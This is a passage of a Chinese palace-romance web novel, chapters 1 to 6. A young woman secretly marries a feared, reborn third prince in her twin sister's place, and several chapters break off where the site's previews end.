《给双胞胎姐姐替嫁后》 1. 第 1 章 《给双胞胎姐姐替嫁后》全本免费阅读 暮春时节,春雨阵阵,虽清明已过,雨水却比往年多,倒是三月十八这日雨过天晴。 安京百姓久不见太阳,纷纷走出家门,靠近皇城的几户权贵人家的仆婢听到吹吹打打的声音还跟着去看热闹。 人群中时不时传出恭维皇帝的话语,皆言御赐的这桩婚事真是天作之合。 老天爷都放晴了好办喜事,可不就是天作之合? 温袅坐在马车上,听着车外的喧闹声,隐在袍袖中的手指捏紧,不着痕迹地深吸一口气,心里回忆一遍姐姐平日里的作派。 皇子大婚,按例可以不亲迎,由礼部派人协同几位大宫女引进宫中。为显皇家脸面,这次送亲队伍从永和门入宫,绕过前庭直往东苑清和宫,一路上张灯结彩,宫婢内侍皆是一身喜庆。 马车停在永和门边,两位体面的大宫女一左一右搀扶着身姿袅娜的新妇,礼部两位官员愣了愣神。 虽然在温府外见过一回,隔着盖头看不清脸,看身段却知京城传言不虚,温家嫡女当得安京第一美人之称。 出阁之时,一束晴光洒在她身上,她聘婷行来,仿佛神仙妃子,看呆众人。 只不过,这娇滴滴的美人儿从宫门行至清和宫委实是受了累。 皇城宽阔,前庭往东苑行了小半个时辰,队伍里传来气喘吁吁的声音,但又小心翼翼地憋着。 两位大宫女对视一眼,皆从对方眼中看出惊讶之意。 温府这两个陪嫁丫鬟倒比正经主子还娇弱些。 看向步履轻盈的新嫁娘,不由想起皇后的吩咐,左边圆脸的大宫女轻呼内侍传肩撵。 行至前庭与东苑的月洞门,扎着红绸花的肩撵停在门后,两位累得够呛的陪嫁丫鬟脸色都黑了。 若不是候夫人拿家人性命威胁,又许以厚利,她们是死都不会陪二姑娘进宫的。 传闻清和宫三皇子殿下性情狠戾,阴晴不定,阴森可怖,都说这位皇子因发疯病才被幽禁宫中,不像其他皇子早早封王开府。 她们进了这样的冷宫还能有什么盼头? 队伍中人心思各异,唯有温袅自进了永和门就摈弃所有心思情绪,隔着红纱盖头悄悄观察所经之处。 此时正是牡丹花盛开的时节,皇宫东苑遍植牡丹,五颜六色,开得正欢,蝴蝶蜜蜂在花间飞舞,一派富贵繁华生机勃勃之像。 她最喜欢养花种草,心里只希望清和宫有地方让她养花种草打发时光。 自幼她就被困在母亲后院的一方小天地中,院里只有一个奶嬷嬷和一个小丫鬟,她们按着四时种下诸多花草,只是可惜,今年看不到她最喜欢的那两颗垂丝海棠开花了。 不知道三皇子殿下允不允许她在他的庭院里种上两颗。 想起宫里派到府上教规矩的嬷嬷所言,三殿下脾气不太好,到底有多不好呢? 她也不知道,没见着人,她有点紧张。 温袅又不着痕迹地捏了捏手指。 昨夜入睡前,姐姐进了她的屋子,似乎是因为让她替嫁十分不好意思,还送她一匣珠钗首饰。 “诺,这是我平日里最喜欢戴着的,给你了,爹爹说你体弱,安静,与三殿下甚是般配。”姐姐唯恐她漏馅连累家里,给完首饰又小声威胁,“如果你不乖乖听话,那疯子会把你撕了。” 说完又羞红着脸塞给她一本小册子,转身就跑。 她还以为是姐姐送她喜欢看的书进宫消遣,结果上面白花花的画面倒是让她原本淡定的心有些不淡定起来。 原来嫁人还要做这些! 她想扔又不知道扔哪里,只好塞进放小衣的箱笼里。 谁知,姐姐走后,母亲身边的得力嬷嬷也塞了这么两本给她。 温袅轻轻晃了晃头,脑袋上的凤冠珠玉相撞,叮叮有声,扛肩撵的两位高壮内侍不由得放慢脚步,心里忐忑不安起来。 再怎么说,这位娇滴滴的美人儿可是那位的妻子,万一枕头风一吹,回头疯子找他们算账,岂不冤枉? 这下肩撵扛得越发稳当,温袅也能好好观赏路边景致,再不敢想那些需要烦恼的事儿。 原本一路繁花,越过一道雕花门之后,宫道变得冷清起来,两边种的也不是牡丹或是别的什么花,而是苍翠松柏。 宫道边有几位宫婢和内侍躬身而立,垂着头,身上衣裳也不见喜庆。温袅不免多看了几眼,心想这些人是不是清和宫里侍候的。 送亲队伍路过,往前面冷清的宫殿行去,因仪式从简,拜堂闹洞房之类一概皆无,礼部两位官员只站在阶上朗声念了好长一段祝婚祠,声音悠扬飘荡,念完就将人送入了新房。 皇后身边的两个大宫女绕过花梨木雕花座屏将她搀扶到新房内间,却看到红色喜帐垂地,一只骨节分明的苍白手掌垂出帐外,顿时吓得心脏都快跳出嗓子眼,匆匆将新嫁娘安顿在喜床另一角。 而后,两人对视一眼,皆是匆忙蹲身福礼:“奴婢恭祝三殿下与三皇子妃百年好合,子嗣昌盛。” 未等温袅反应,她们就迫不及待起身,见鬼似地仓惶退出门外,步履匆匆地跑了。 就连新婚夫妇的合卺酒都没倒,礼也没做全乎。 她们这恐惧过慎的表现让温袅也紧张起来,安静地坐在床榻边缘,隔着红盖头小心翼翼打量这间屋子,视线没敢往那只苍白的手扫去,只好轻手轻脚转了个方向,隔着座屏打量。 屋子虽然宽敞,布置却简单,靠墙处有一个空荡荡的博古架,旁边的墙上挂着一剑一弓,靠窗的一面有一组黑檀木雕花矮柜,屋里唯一匹配皇子身份的是两盏黄金打造的奢华落地花枝灯,这会儿正燃着几只红烛,让冷清的屋子多了些喜气。 屋里东西太少,实在没啥可看,温袅眼观鼻,鼻观心,安静得呼吸都十分轻柔,比外面的春风强不了多少。 她在想这桩婚事。 一个月前,许皇后设下的春日宴上,皇子皇女及京中勋贵子女齐聚一堂,圣上一时兴起,乱点鸳鸯谱,赐了好几桩婚,这其中就有姐姐和三殿下的婚事,当天夜里她就听到姐姐摔打东西的声音还有伤心的 2. 第 2 章 《给双胞胎姐姐替嫁后》全本免费阅读 春日暖融融的夕阳余晖从雕花轩窗洒入,洒在缀有金丝的奢华床帐上,给那只微微动弹的苍白手掌增添一抹暖色,使之看起来就像是起死回生似的,突然有了生机。 锦纱摇晃,紧接着那只骨节分明的手用力一抓,喜庆的床帐就被扯下来,吓了温袅一大跳,她更加大气不敢透。 三殿下看起来火气很大的模样,他捂着额头,眉毛都皱成一团。 不过,这样的动作别人做来会让人觉得粗鲁,而他做出来,却有着一丝与生俱来的干脆利落,杀伐果断。 温袅捏了捏手指,憋住呼吸,隔着盖头悄悄斜眼看,没敢转身,更提不上正大光明地看。 元晗烁捂着晕沉沉的头翻身坐起,眼前一片红色让他不喜。 揉了揉额头,冷嗤一声。原来他驾崩之后进的居然不是地狱,看来,他在战场杀敌还不够多。 他掀被下床,在屋子里转了一圈,越转疑虑越大,这屋子隐隐透着几分熟悉,像是他年少时曾经住过的地方。 从窗边往外望去,还能看到夕阳余晖,暖洋洋的春风拂过。远处有内侍走动,还听到两个宫女在聒噪。 身后床榻上,有个盖着红盖头安静坐着的新娘。 这一切倒不像是死后世界。 元晗烁抬起双手,年轻、白皙、充满力量,他一拳砸上轩窗,直接把轩窗砸碎。 温袅死死咬唇,不让自己发出任何有可能惹怒他的声音。 她看到窗前的人转身,看到他抬起砸窗的拳头,还以为他要砸她,吓得头皮发麻,好在他只是看到手背上流了血,将手背凑到唇边,轻轻舔了舔。 本来在庭院抱怨的两个丫鬟都被他吓跑了,屋里顿时陷入诡异的安静中。 夕阳光束把窗前的人勾勒成一幅具有妖异美感的画。 元晗烁尝到了鲜血的味道,虽然十分震惊,但是也发现,自己恐怕不是死了,而是重新回到年少时住在冷宫中的时候。 血的味道太真实了,眼前的场景也让他想起来,他曾经成过一次亲,就在这清和宫里。 只不过,那时候,新娘子害怕得大喊大叫,闹个不停,吵得他忽略身体的不适,用了内力翻出宫墙,加速毒发,错过揪出幕后真凶的机会。 怎么这次倒是安静? 元晗烁朝床榻走去。 他前世当了二十年皇帝,长年在战场撕杀,即便只是寻常步伐,也能卷起浓浓的杀机。 夕阳余晖被他高大挺拔的身躯及强悍的气势割得支离破碎,形成零落的色块,喜气都被冲散了。 他凑到新娘子面前,鼻尖只离她的脸半截手指。 “温凤?” 是叫这个名字吧?皇帝给他赐婚的女子好像是京城第一美人,不过,他想起来,她有一个孪生妹妹,在他们大婚后没几天,她死了,还是他收的尸,要不是后来太子逼宫成功后迫不及待封后,他还不知道原来作为他妻子下葬的另有其人。 有意思,这次重生,是老天想让他重来一遍走过的路吗? 他偏不。 听到他问话,温袅赶紧小声应是。她可不能暴露了,要是让他知道她不是姐姐,那就是欺君之罪,全家都要被砍头,包括她。 她还没活够呢,还没看遍这天下,还没享受过自由。 “……是。”温袅声音轻得几乎听不到。 “大点声,没听到。”元晗烁唇角轻勾,舌尖舔着手背的血珠,狭长凤眸满是探究。 他发现,这个安安静静的人活着比较有趣。死人他见多了,活人当然也见得多,但是,上辈子死人这辈子活人的他还没见过。 是什么改变了轨迹? “我,我就是温凤。”温袅微微后仰,避开他灼热的气息。 即便隔着盖头,他的气息依旧强势吞噬着她的呼吸。 从来没有哪一个男子离她这般近,近得她生出不自在。 好在他很快就退开了,坐到榻边的角凳上,懒洋洋倚着床柱,把玩着垂到地上的轻纱床帐,修长有力的手指一戳一个洞,把那截床帐戳得破破烂烂的。 等手上的轻纱再也没有地方戳洞了,他长臂一伸,把她头上的红盖头取走了。 骤然的光亮激得温袅眯起眼睛。 “这盖头大小合适。”很好听的声音,低低的,尾音轻扬,似乎发现一件让他高兴的事情。 “什么?”温袅慢慢睁开眼睛,迷惑地望向他。 “正好能包下一颗脑袋。”元晗烁朝她看过来,笑得意味深长。 早就知道他喜怒无常,温袅还是被他的话吓出冷汗,真的担心他一言不合真的手起刀落,小小声道:“头上发髻钗饰包不住的,会戳破。” 元晗烁很高兴地凑过来,看着她的眼睛,压低声音,“我会把发髻剃了,钗饰取下,保证给你包好了。” 他眼里满是笑意,直达眼底的笑意,却说出这么可怕的话来,温袅想了想,自己以后还要跟他一起住,时时刻刻担心自己项上人头不保,还不如现在哄哄他,让他把注意力转移到别的地方。 “殿下饿了吗?我喂殿下吃些点心好不好呀?” 少女的声音软糯,清澈,说话一点都不吵。努力哄人的模样也有趣,明明怕得发抖,声音却一点都没表现出来。 元晗烁更想逗她,指尖转着红盖头,对着她比比划划,阴沉沉道:“听说女子的耳朵很脆,嚼起来嘎蹦嘎蹦。” 他还真发出嚼东西的声音,“先切左耳,切成丝,拌上蘸酱,右边的呢就白灼,然后煎得两面金黄。” 温袅下意识捂住自己的耳朵。 少女的杏眼明显晕出惧意,泪意盈然,“殿下,我不好吃的。” 元晗烁哈哈大笑着掏了一把锋利的匕首出来,温袅再也坚持不住,两眼一翻,晕了过去,软绵绵倒在大红锦被上,小脸蛋苍白得很。 “胆子真小。”元晗烁收好匕首,嘀咕一句,而后慢悠悠起身,推开殿门,转到清和宫后院的小罩房里。 * 今夜有不少人睡不着觉。 东宫灯火通明,内侍宫婢们低头匆匆走路,谁也不敢往主殿里凑,在主殿侍候的人已经被抬出三个,刺眼的红色滴落在汉白玉宫道上,又渗 3. 第 3 章 《给双胞胎姐姐替嫁后》全本免费阅读 夜里下了一场雨,水珠滴嗒滴嗒落在廊下石阶上,天气骤然转凉。 温袅是被冻醒的,睁开眼睛发现红烛摇曳,自己穿着嫁衣趴在大红锦被上。怪不得这么冷! 她坐直身子,头上凤冠可能是晕倒的时候掉的,这会儿滚落在床榻下,上面的黄金流苏在烛火的映照下金光闪闪。 屋里静悄悄的,三殿下没在。 温袅松了口气,下床走到窗边,打开轩窗往外张望。 阴冷萧瑟的庭院笼罩在薄雾里,天光微亮,院中的松柏影影绰绰。 “啊嚏!” 一阵冷风吹来,她打了个喷嚏,裹紧自己的衣裳。 这次随她进宫的两个丫鬟都不是她用习惯,她们都不理她。若是她的贴身丫鬟在,哪会让她就这么躺着。 温袅打开箱笼,自己找了身海棠粉的宫装抱在怀里,绕着屋子走一圈,才找到净室。 刚走进去就被里面散落各地的沾血纱布吓了一跳,木椸上还挂着滴血的红色男子喜袍,血腥味扑鼻而来,差点没让她憋过气去。 她扶着门框站稳,微微抬头看向墙上准备从天窗爬出去的人。 没想到她突然进来,元晗烁骤然与她四目相对,这才想起自己刚娶了个小妻子。 “醒了?”他淡淡地打了声招呼,继续之前翻窗的动作,轻无声息落地,墙外传来他满不在乎的声音,“早膳会有人送来。” 听他这么一说,温袅才有饿的感觉。刚才急于换衣装扮,又被净室里的吓人画面唬到,没想起自己已经一日一夜没有进食,难得他还记得这样的小事,倒也没传闻中那么可怕。 洗漱收拾好之后,果然有个长相普通的高挑宫女拎着食盒在殿外候着,见她出来,蹲身福了福。 “见过皇子妃。三殿下吩咐奴婢送朝食,不知皇子妃有什么忌口的,奴婢多拿了几样。” “姐姐是……”昨日大婚,但是一路行来,没看到清和宫里有宫女。 “皇子妃勿要如此,奴婢只是司膳局的三等宫婢,名叫小荷,平日专为三殿下送膳食。”小荷语调轻缓,规规矩矩地站着,并没有进殿,显然是以前也没进过主殿。 她左右瞧了瞧,没看到侍候的宫女丫鬟,有此诧异,不过也仅此而已,“奴婢替您摆膳。” 清和宫看着荒凉,其实占地挺大,主殿开阔,左右各一偏殿,花厅设在东偏殿,偶尔几次三皇子会让她将膳食盒放到花厅。 温袅有些窘迫,隐在袍袖里的手指蜷了蜷。即便她从未在人前露面,也知道如今场面有些不对,没有贴身侍婢也就罢了,甚至新房一点喜气都没有。 好在小荷什么都不说,安安静静迈进花厅,手脚利落地将食盒打开。 她以为早膳应该不会丰富到哪去,毕竟三殿下不受宠是真,温袅对饮食倒是不挑剔,有什么吃什么,她轻声问:“平日里三殿下都是什么时辰用膳?” “三殿下一日两餐,朝时是辰时,晚食是酉正。” 现在还没到辰时,是他专门过去提醒小荷送早膳来吗? 看着小荷不停往外放餐碟,菜色丰盛,她还以为冷宫会吃得不好,准备在庭院里自己种菜养鸡来着。 宫中御厨手艺不错,那些色香味俱全的菜式令温袅的肚子不争气地咕噜了一声。 小荷像是没听见似地默默退出花厅,垂手立在门边。 温袅自幼自己吃饭,时常与自己的贴身丫鬟同桌同食,这会儿看她站在门外,想了想,朝她招了招手,“你过来坐。” 这么多东西,她一个人也吃不完,剩下多可惜! 她自己栽种过粮食,知道一粒米都是要付出辛劳。 “皇子妃,这使不得。”小荷吓得连连摇头。 她哪有胆子与三皇子妃同桌! 想起三殿下整治司膳局,血流成河,连圣上最爱的御厨都杀了,小荷更是战战兢兢。 “这个你拿去,我自幼吃不得红豆。”温袅也不为难她,起身将那碟红豆糕端到她面前,“吃吧。” 还是第一次有人对自己这么好,小荷眼眶微红,比起赏银,这碟红豆糕倒是更让她动容。 “谢三皇子妃赏。” 温袅轻轻笑了笑,返回桌前。她用膳没什么不能言语的规矩,小口尝了尝鸡丝汤,随意问道:“你可知殿下平日里都做些什么消遣?” 怎么会有皇子沾染一身血迹回来? 小荷明显抖了一下,捏着红豆糕的手僵了一下。圣上对殿下的宠爱时深时浅,高兴的时候允许他宫内行走,大部分时候都将他幽禁清和宫,她只是司膳局的小宫女,哪里会知道这些,但是平日里听人嘴碎,听说三殿下总会神出鬼没,突然出现在任何地方,皇后仁厚,没怪罪他,其他人自然不敢多言。 听不到答案,温袅也不泄气,膳食美味,她饿狠了,因此吃了不少,小荷走后,她沿着廊庑消食,绕到主殿后面,发现那里草丛都长得到她腰部那么高,想起昨日元晗烁从天窗翻出去,竟然一点痕迹都没留下。 她动了动鼻翼,闻到一股浓浓的血腥气,从回廊美人靠往外探头,突然捂着嘴巴干呕。 草丛里全是染血的胳膊腿。 她把刚吃进去的朝食吐出来一半,软软坐在美人靠上,气恼地捏着裙角。 “真没用!”她低声嘀咕。她是气自己变得胆小了,已经晕过一次,早应该知道元晗烁是什么人,外边传言他喜怒无常,动辄杀人,看来是真的。 她若是胆小怯懦,怎么能在这样的狠人身边活得好? 劝他向善?还不如她直接被吓死来得快。 不管怎么说,以后还是尽量不要往他出现的地方去。 “昭禾!”她大声唤人。 可惜半天,昭禾才慢悠悠从回廊尽头转出来,带着一股香风,打扮得也妩媚,来到她面前福了福身,“奴婢在。” 温袅皱了皱眉:“把这里收拾了。” 昭禾眼底飞快闪过一丝轻视:“奴婢等会儿叫晴翠姐姐一起洒扫。” “好啊,你们就连这后面的草丛一起整理出来,回头我要植些牡丹过来。”温袅整了整前襟,一个人沿着回廊绕进主殿。 昭禾气得捏紧拳头在她背后挥了挥,“真当自己是皇子妃呢!” 4. 第 4 章 《给双胞胎姐姐替嫁后》全本免费阅读 皇宫里,最有权势的就是帝后和太后,皇帝向来不管后宫,太后年纪大了不管事,皇后是出了名的贤惠,时时请示,晨昏定醒,一天都不拉下。 就连最近太后病中也是如此。 皇帝风流,喜好美色,后宫嫔妃众多,后妃们与皇后一样,每日必到寿康宫请安。 宫门似海,温袅即便极少出门,也知道要小心谨慎,再说这么问也能试探出元晗烁的喜好。 元晗烁对她的小心思心知肚明,反问一句,让温袅一拳打在棉花上,使不着力,她还以为传言中的疯子没这么多弯弯绕绕。 “听父亲说太后最近身体欠安,我们去的话会不会打搅到她老人家养病?” 听说三殿下是太后照拂着长大,太后又是宫中长者,先去给她请安总没错。 听她如此说,元晗烁神情带笑,笑意倒真诚许多,漆黑如墨的双眸戾气尽消。他轻嗤一声,道:“总好过有人日日打搅,事必请示。” 顿了一下,像是想起什么,转身走到窗边矮柜,打开柜门,取出一个黄花梨木匣子,返回塞到她怀里,“这是皇祖母赐给我妻子的。” 前世,温凤闹得太厉害,甚至他们婚后第二天,她就迫不及待讨好皇后,他不想皇祖母的心意被糟蹋,所以就没拿出来。 温袅接过来,打开盖子,顿时被里面的珠光宝气眩晕到了,一整套黄金镶红宝的头面,手工精湛,价值连城。 元晗烁看着她头上朴素的粉玉簪,满头青丝绾在粉玉簪上,簪头刻了朵小小的海棠花,美是挺美,却配不上皇家妇的身份。看她犹豫不决不知道选哪支,他抬手取了三支最华丽的金步摇簪在她发间。 不过,这位当了一辈子铁血帝王的男人对女子妆容哪有什么审美,得多亏温袅长得美才不会变得俗气。 他动作称不上轻柔,簪头还不小心弄疼了温袅,她的头皮红了一块半个指甲宽的地方,他自知理亏,小心翼翼替她整理好发髻。 手捧着托盘进来的小内侍脸一红,赶紧退出去。 三殿下居然给皇子妃绾发,这简然跟太阳从西边升起一样惊人! “干什么的?”元晗烁像是背后长眼,即便小内侍轻手轻脚没有发出一点声音,他也知道门边有人。 温袅还以为他跟自己说话,低低问了一句:“什么?” 接着就听到他不明意味的低笑声:“没问你。” 就连暗中躲着的侍卫都担心主子这直白的性格不讨皇子妃欢心,替他忧愁起来。 承平候嫡女可是京中第一美人,身份尊贵,是承平候的掌上明珠,得罪了她,往后吏部准会推委怠慢,甚至他们也不能往吏部放人。 门边的小内侍倒是立刻回答:“回三殿下,奴婢来传圣上赏赐,圣上有口喻,免了殿下和皇子妃今日的请安。” 说完,躬着身子将花梨木托盘端进来。托盘上有一对成色不错的玉佩,翠绿通透的,另有一个白色瓷瓶看起来像药瓶,温袅看到元晗烁伸手取过它,拿在手里一上一下抛着玩,眼底戾气加深。 看来父子关系并不好,甚至他都没跪下接旨谢恩。 温袅本来想跪,但是看到他没跪,也就淡定站着。 “玉佩你就收着,回头我让老张把账本给你。”元晗烁对那两块玉佩不感兴趣,淡淡对她道。 “好。”温袅很乖巧地应了一声。 那对玉佩一圆一方,线条流畅,雕工也大气,能被送到皇帝跟前的东西,能差到哪去,玉佩温润,入手微凉细腻,挺适合把玩的。 温袅很喜欢这种触感,有些爱不释手,捏在手里,想到夏天快到了,到时候再挂出来。 她就顶着三支金步摇蹲在矮柜边,试图找个匣子装起来,又担心元晗烁不让她乱翻东西,于是转身,仰着脑袋问他:“殿下可有什么吩咐?” 清和宫明处防卫不严,人人可进,不过平时也没谁胆子大到乱翻疯子的东西,真正重要的物件并不在主殿里,元晗烁也不担心她翻出什么来,倚在门边上下抛着那个白瓷瓶,闻言垂眸瞥了她一眼,“这屋里的东西,你想怎么处理就怎么处理。” 说完,他侧头看立在门边战战兢兢的小内侍,“行了,别站这碍眼。” 一直等不来他的谢赏,小内侍汗颜,回去只能先与干爹禀报了。三殿下不知道好歹也不是这一回,还以为这次有不同,原来也没差。 耽搁了这么一会,给太后请安的时辰已过,等他们横穿皇宫到了寿康宫门外时,正好遇到请安结束往外走的妃嫔和公主们。 备嫁一个月,温夫人除了严格查看温袅学规矩的进度,还有就是耳提面命,一条一条让她背宫中女眷喜好及每个人的身世背景,这会儿看到这么多人,倒也没太慌张。 其中有个娇小可爱的公主,大老远看到她,眼睛一亮,高声嚷道:“凤儿,你怎么才来。” 这位是温淑妃之女文贺公主,与温凤是表姐妹,平日里极是熟悉,关系甚好,温袅能不能安全扮温凤不穿帮,最难的不是面对皇帝、皇后以及太后这些人而是这位娇纵的文贺公主。 温淑妃膝下仅有一女,因为生产时伤了元气,此后再无所出,好在文贺公主很讨皇帝欢心,母女俩过得不错。 这会儿看到娘家侄女,也很高兴,和蔼地朝温袅招了招手。 其余嫔妃笑着打趣。 “淑妃娘娘这回又有贴心小袄儿了。” “可不是,我这羡慕得呀,恨不能生个小公主。” “竟是第一次见这么标致的小姑娘,怪不得温候要留在府中舍不得嫁出去。” “是呢,多少才俊踏破门槛求娶。” “……” 一阵莺莺燕燕拉着温袅上下打量,塞见面礼,等在原地的元晗烁乐得看戏,瞧她不着痕迹的窘迫,还能做到面色如常,与那些娘娘公主们落落大方行礼,还适时娇羞地笑一笑,一幅新婚羞涩模样。 她虽没说迟到的原因,妃嫔们自然也猜得到,侍候那样一个强悍疯子,这娇滴滴的小模样能从清和宫走到寿康宫已是十分难得,倒没有人奚落她来得迟,只是有些人悄然打量元晗烁。 这位皇子地位起起落落,圣上对他态度不明,他长得极好,又是元后嫡子,虽说后来出了事,但也有太后撑腰,本来有几位膝下无子的后妃想养他,却都被皇帝驳斥,这会儿人都成亲了,自然养不熟了。 后妃们一阵惋惜。 “去吧,太后刚用了朝食,就等着你们呢,把我们都赶了出来,只留皇后在。”温淑妃轻轻摸了摸她的发髻,“过几日我单设宴请你。” 又看了看左右,发现没宫婢跟着,眉头微蹙,家中兄长怎么不派两个知根知底的侍婢进来侍候? 刚才诸妃送的见面礼都是她让自己的宫婢帮忙捧着。 “香杏,你随三皇子妃去。”温淑妃侧头朝自己的心腹大宫女使了使眼色。做为亲姑姑,温淑妃送个宫婢给自家侄女倒不是什么大事。 倒是文贺公主瞪大眼睛气道:“昭禾那死丫 5. 第 5 章 《给双胞胎姐姐替嫁后》全本免费阅读 太后无子,膝下仅有两位公主,当今圣上是她将宫婢之子抱到膝下抚养,母子关系一般,该有的尊荣还是会有,但是感情说深也深不到哪去,当年为了拦下废后召书太后得罪了皇帝,不过,要不是她拦着,元晗烁就算不上嫡皇子,后来更是悉心教导,所以祖孙俩关系不错。 元晗烁抬腿迈过门槛,温袅紧跟在他身侧一起进入正殿明堂,悄悄用眼角余光扫了一眼,主位上坐着年老的太后。 太后满头白发,发髻简单,额前围着一条红色镶翠的抹额,不苛言笑,温袅偷看时被她抓了个正着。 太后皱着眉头冷哼一声。 温家虽说忠于皇帝,从不站队,但是在对儿女的婚事上犯了糊涂,被皇帝不喜,寻了个机会指婚给她养在膝下的烁儿,还顺带恶心了一把皇后,打压了皇二子,皇帝虽然喜好美色,但也没被美色糊弄。 她虽然不喜温家女,但是烁儿认可,她能说什么。 太后心思几转,视线扫过三支金光灿灿的步摇,啧啧,还亲自簪发。 身边侍候的人也机灵,没等太后发话就准备好了拜毯,捧来热茶。 “孙儿给祖母请安。”元晗烁跪下的动作毫不含糊。 温袅自然照做,恭恭敬敬跪下去,温声道:“孙媳请皇祖母喝茶。” 太后不甚满意这门婚事,备的见面礼有些敷衍,又看元晗烁嬉皮笑脸满不在乎的模样,瞪了他一眼,接过温袅端过来的茶盏,嘱咐一些诸如夫妻和睦好好过日子之类的话,这才慢悠悠抿一口茶,然后将茶盏放在高几上。 “赐座。” 她声音颇有些虚弱,精神也不怎么好,眼底有倦色,身后有个大宫女替她轻轻按摩肩颈。 两人谢了座,在小锦凳上落座。 这时,太后发现温婌妃的宫女跪在门边,纳闷问道:“婌妃娘娘这是担心我老人家为难她侄女派你来的?” 香杏赶紧磕头:“回太后,婌妃娘娘是看三皇子妃身边没有侍候的人才派了奴婢跟着。” “温家竟如此怠慢我孙媳?” 眼看太后有发怒的迹像,元晗烁起身蹲到她脚边,像小时候亲近她那样,靠着她的膝盖,“皇祖母,是我嫌那两个丫鬟不懂规矩,笨手笨脚,说几句就吓晕过去,太没用了,孙儿还想着皇祖母均两个手脚麻利的到清和宫。” 他的声音清越,模样又好,太后那么多孙儿当中他胆子最大,能让她享受天伦之乐,然而前世,她在一年后病逝,如今元晗烁当然不想重蹈覆辙。因此想要两个宫女既方便新婚妻子,也方便传递寿康宫的消息。 太后意味深长地瞥他一眼,没说话。 温袅哪里敢在夫君蹲着的时候她坐着,也蹲到太后另一边,大着胆子替她揉捏小腿,轻言轻语,“孙媳的错,身边人胆子小,初入宫城怕冲撞了宫中诸位贵人。” 声音既软且甜,太后起初有些不快,但是经她小手一揉捏,小腿麻痛的感觉减轻大半,“没听说你还会按摩通筋。” 元晗烁也侧头看她,不过太后神情舒缓,倒没怀疑她胡乱表现。 “孙媳自幼身子弱,幼时多病,跟着一位老嬷嬷学的,平日里自己给自己按。”温袅应对得体,淡然回答。 她除了喜欢种东西,还喜欢看些杂书,平时在小院里劳作,与自己的丫鬟互相捏脚通筋,自学成才,算是从实践中总结经验。 太后虽然瘦,但身量颇高,平日里久坐不动,又一直端坐着,腰腿麻痛是正常。 “小小年纪,你倒是有心学这一手。”太后面色可见缓和,对她没有了刚才的不满。 “皇祖母不嫌弃,孙媳天天给您按。”温袅乖巧地弯了弯眼睛。 她虽与温凤长得一模一样,脾气性格可不同,气质自然就不太一样,令人看了莫名心绪安宁。 太后不是没见过温凤,只不过不熟悉,所以没怀疑,只觉得好像有点不太一样。 她的视线在两人身上来回转,从容貌上看,两人倒是般配,新婚燕尔就能如此默契,这桩婚事没让她那么难受,“你看中哪个点走就是。” “谢皇祖母。”元晗烁开心地跪下磕了个头。 “行了,难得你父皇让你歇着,这大半个月你不在宫里,都跑了哪些地方?”太后也知道他被皇帝支使到各地办差,忙得很,偏偏不能以皇子身份行走人前,其中的危险困难可想而知。 看着病中还在为自己操心的老人,元晗烁心中一暖,“去了趟凉州,这次顺利,没出什么事。” 需要他出手的只是一些见不得人的事情,皇帝舍不得自己的暗卫就派他出去。 “可有受伤?”太后仔细打量他,见他脸色苍白,伸手摸了摸他的额头,“脸色怎么这么差?” “皇祖母,昨日是孙儿的花烛夜,差些怎么了?”元晗烁手掌按在她手背,“倒是皇祖母又瘦了,这次我回京带了个名医回来,悬丝诊脉是一绝,凉州一带往南都称他神医呢!” 上辈子因为他新婚日突然中毒,来不及安排这事,后来神医不告而别,再也难找。 “宫里御医医术高明,你还费心找神医做甚?”太后一直以为自己的身体是上了年纪引起的虚弱,太医们请的平安脉也是如此记录在案。 “孙儿为求安心,只要皇祖母身体康健,孙儿做什么都不是费心。” “瞧瞧,这嘴巴甜的,外头人都说你脾气不好,乱说话,我的孙儿多乖多有孝心!” 其实严格来讲,两人没有血缘关系,但是元晗烁比血缘至亲更关心她,“好吧,明日就召他进宫来为我看诊。” 昨夜,元晗烁除了杀人,还亲自去见了神医,将太后的症状详细说了一遍,研究可能的治疗方法,听到太后肯让神医看诊,松了口气。 又坐了约一盏茶的功夫,聊些春日踏青的好去处之后,小夫妻俩才退出正殿,并肩走在回廊上。 “你需要几个人侍侯?”元晗烁突然问她。 温袅顿时头大,人越多,她越需要小心,但是为了不驳他的 6. 第 6 章 《给双胞胎姐姐替嫁后》全本免费阅读 温袅一回到清和宫,就被宫门边齐刷刷站着的一排宫女内侍吓一跳。为首的大宫女看着十分干练,长得也很漂亮,身材高挑,面庞白皙,瓜子脸,未语先笑,弯着眼睛领着众人上前见礼。 “奴婢恭贺三殿下大婚,皇后娘娘派奴婢们来清和宫侍候。” 元晗烁似笑非笑地哼了一声,吓得她身后的宫女们抖了抖,温袅转头看他。 听说许皇后最是贤惠,美名连她这种从来不出门的人都知道,可是,他又在嘲笑什么呢? 初入宫庭,温袅步步小心谨慎,唯恐多做多错,可是那位名叫绿琦的大宫女似乎认识她,时不时在打量她。 正在温袅愣神时,元晗烁突然凑在她耳朵边,像是十分亲密似地道:“皇子妃忘了?这位绿琦可是皇后娘娘的得力干将,平日里在东宫书房侍候的。” 原来真的是认识!温袅这才发现自己伪装过度,可是元晗烁怎么会好心告诉她这些? 不过,现在也不是纠结这些的时候,她不能让绿琦看出端倪来。 温袅悄悄站直,垂眸看绿琦,声音抬高,道:“原来是你啊,皇后娘娘可好?大婚前娘娘还夸赞我佛经抄得好,本想常进宫替娘娘抄经祈福,耽搁至今日,娘娘对我这么好,我却不曾给她敬茶。” 愧疚得红了眼睛,元晗烁若有所思地侧眼看她。 这些事不过是在温凤得知她替嫁之后无意中说了一些,她拼接起来的信息。 但是听她这么说,绿琦眼中的怀疑消了大半,似乎是确认了什么,抿着唇道:“皇后娘娘晨间替太后抄经祈福,午后才得空闲。” 说完又扫一眼自己身后,“娘娘说,清和宫里简陋冷清,指了我们过来听三皇子妃吩咐,三皇子妃不嫌弃我们笨手笨脚才好呢。” 温袅这下也有些为难,总不能把皇后派来的人赶回去,正要开口,元晗烁比她快一步,冷冷盯着绿琦一眼,“这么不愿意来就别来了。” 绿琦顿时吓得扑通跪下,身后齐刷刷跪下一片。 “奴婢不敢。” “滚。” 简简单单一个字,元晗烁说完就推开宫门,大步迈进去。温袅心里纠结,左右为难,到底这两人的关系为啥这么僵硬? 她慢吞吞往前走一步,冷不防被拥进一个结实炙热的怀抱,强烈到让人无法忽视的男性气息侵入鼻腔。 温袅第一次被男人当着众人的面拥抱,顿时羞红了脸,即便他们成了亲,但是没有拜堂,没有喝交杯酒,也没有洞房,算不得真正的夫妻,但是他却非要表现夫妻恩爱,这又是为什么呢? 难道是在挑衅太子? 